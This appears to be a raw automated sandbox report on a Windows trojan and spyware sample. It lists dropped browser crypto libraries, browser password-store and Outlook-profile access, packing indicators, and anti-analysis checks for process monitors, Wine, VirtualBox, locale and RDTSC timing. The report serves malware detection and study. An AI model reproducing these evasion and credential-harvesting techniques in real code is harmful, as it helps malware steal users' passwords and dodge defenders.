Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047	0_2_007BF047
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C780B	0_2_007C780B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077509D	0_2_0077509D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006CC92C	0_2_006CC92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BB9F9	0_2_007BB9F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007401B1	0_2_007401B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007292F0	0_2_007292F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C0ADF	0_2_007C0ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075AAA1	0_2_0075AAA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B3B75	0_2_006B3B75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C4BB2	0_2_007C4BB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071AC3C	0_2_0071AC3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BD559	0_2_007BD559
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C5D32	0_2_007C5D32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00883DE8	0_2_00883DE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076DDD1	0_2_0076DDD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C25B7	0_2_007C25B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B9E4F	0_2_007B9E4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079E7CA	0_2_0079E7CA

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004045C0 appears 316 times

Source: file.exe, 00000000.00000002.2422719473.000000006CD65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2422916433.000000006FD72000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jkkfhtmw ZLIB complexity 0.995069910191181

Source: file.exe, 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156334740.00000000052F0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\WLKOQQCV.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2264882508.000000001D96F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242511022.000000001D954000.00000004.00000020.00020000.00000000.sdmp, JEGHJKFHJJJKJJJJKEHC.0.dr, GCFCFCGCGIEHIECAFCFI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422218180.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1816576 > 1048576

Source: file.exe

Static PE information: Raw size of jkkfhtmw is bigger than: 0x100000 < 0x195600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2422841103.000000006FD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2422555718.000000006CD1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2422841103.000000006FD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jkkfhtmw:EW;zozbrbui:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jkkfhtmw:EW;zozbrbui:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cb028 should be: 0x1c0885

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jkkfhtmw
Source: file.exe	Static PE information: section name: zozbrbui
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085808A push eax; mov dword ptr [esp], ecx	0_2_008580C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 66E94BE7h; mov dword ptr [esp], ebx	0_2_007BF058
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push esi; mov dword ptr [esp], 41873DF7h	0_2_007BF0E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 6DD3D14Bh; mov dword ptr [esp], edx	0_2_007BF181
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebp; mov dword ptr [esp], eax	0_2_007BF199
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edi; mov dword ptr [esp], 795BFB8Bh	0_2_007BF224
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edi; mov dword ptr [esp], ebx	0_2_007BF252
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push esi; mov dword ptr [esp], ecx	0_2_007BF389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ecx; mov dword ptr [esp], esi	0_2_007BF3B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ecx; mov dword ptr [esp], edi	0_2_007BF3F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 40DB4FBCh; mov dword ptr [esp], edx	0_2_007BF47B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebp; mov dword ptr [esp], esi	0_2_007BF48F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebx; mov dword ptr [esp], eax	0_2_007BF493
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edx; mov dword ptr [esp], ecx	0_2_007BF53C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ecx; mov dword ptr [esp], eax	0_2_007BF542
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push eax; mov dword ptr [esp], ebp	0_2_007BF575
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 61D708D1h; mov dword ptr [esp], ecx	0_2_007BF638
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 4320A791h; mov dword ptr [esp], ebx	0_2_007BF660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push esi; mov dword ptr [esp], 204C98ACh	0_2_007BF6AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 5885E119h; mov dword ptr [esp], esp	0_2_007BF7BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebp; mov dword ptr [esp], edx	0_2_007BF8AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 651559FDh; mov dword ptr [esp], edx	0_2_007BF8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edx; mov dword ptr [esp], ecx	0_2_007BF97B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edx; mov dword ptr [esp], 71015AF1h	0_2_007BF9A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push edx; mov dword ptr [esp], esp	0_2_007BF9CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 7199E67Ah; mov dword ptr [esp], edx	0_2_007BFA21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push esi; mov dword ptr [esp], 7FCF6DB7h	0_2_007BFA2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 1F70EE76h; mov dword ptr [esp], ebp	0_2_007BFA67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push 120A5F92h; mov dword ptr [esp], edx	0_2_007BFA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebp; mov dword ptr [esp], edi	0_2_007BFAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF047 push ebx; mov dword ptr [esp], 7CFD732Eh	0_2_007BFAB0

Source: file.exe

Static PE information: section name: jkkfhtmw entropy: 7.954287955136608

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13429

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD65B second address: 7CD663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB54 second address: 7BEB5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB5A second address: 7BEB60 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB60 second address: 7BEB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 je 00007EFF30E2BC46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC7DC second address: 7CC7E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC94D second address: 7CC957 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFF30E2BC4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCF5F second address: 7CCFA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFF30CD3909h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007EFF30CD3909h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jne 00007EFF30CD38F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCFA4 second address: 7CCFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCFA8 second address: 7CCFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007EFF30CD390Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCFCB second address: 7CCFD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFF30E2BC46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CEFB3 second address: 7CEFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007EFF30CD38F6h 0x00000011 jmp 00007EFF30CD3905h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007EFF30CD38FBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CEFE7 second address: 7CEFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CEFEB second address: 7CEFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF044 second address: 7CF093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC56h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jng 00007EFF30E2BC46h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebx 0x00000018 nop 0x00000019 xor cl, 0000006Dh 0x0000001c push 00000000h 0x0000001e mov cx, ax 0x00000021 clc 0x00000022 push DC286C80h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007EFF30E2BC55h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF15B second address: 7CF1F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007EFF30CD38F6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 jmp 00007EFF30CD38FCh 0x00000018 pop ecx 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007EFF30CD3900h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jl 00007EFF30CD38FEh 0x0000002a push edi 0x0000002b jl 00007EFF30CD38F6h 0x00000031 pop edi 0x00000032 pop eax 0x00000033 add ch, FFFFFFD1h 0x00000036 lea ebx, dword ptr [ebp+12440EBFh] 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007EFF30CD38F8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 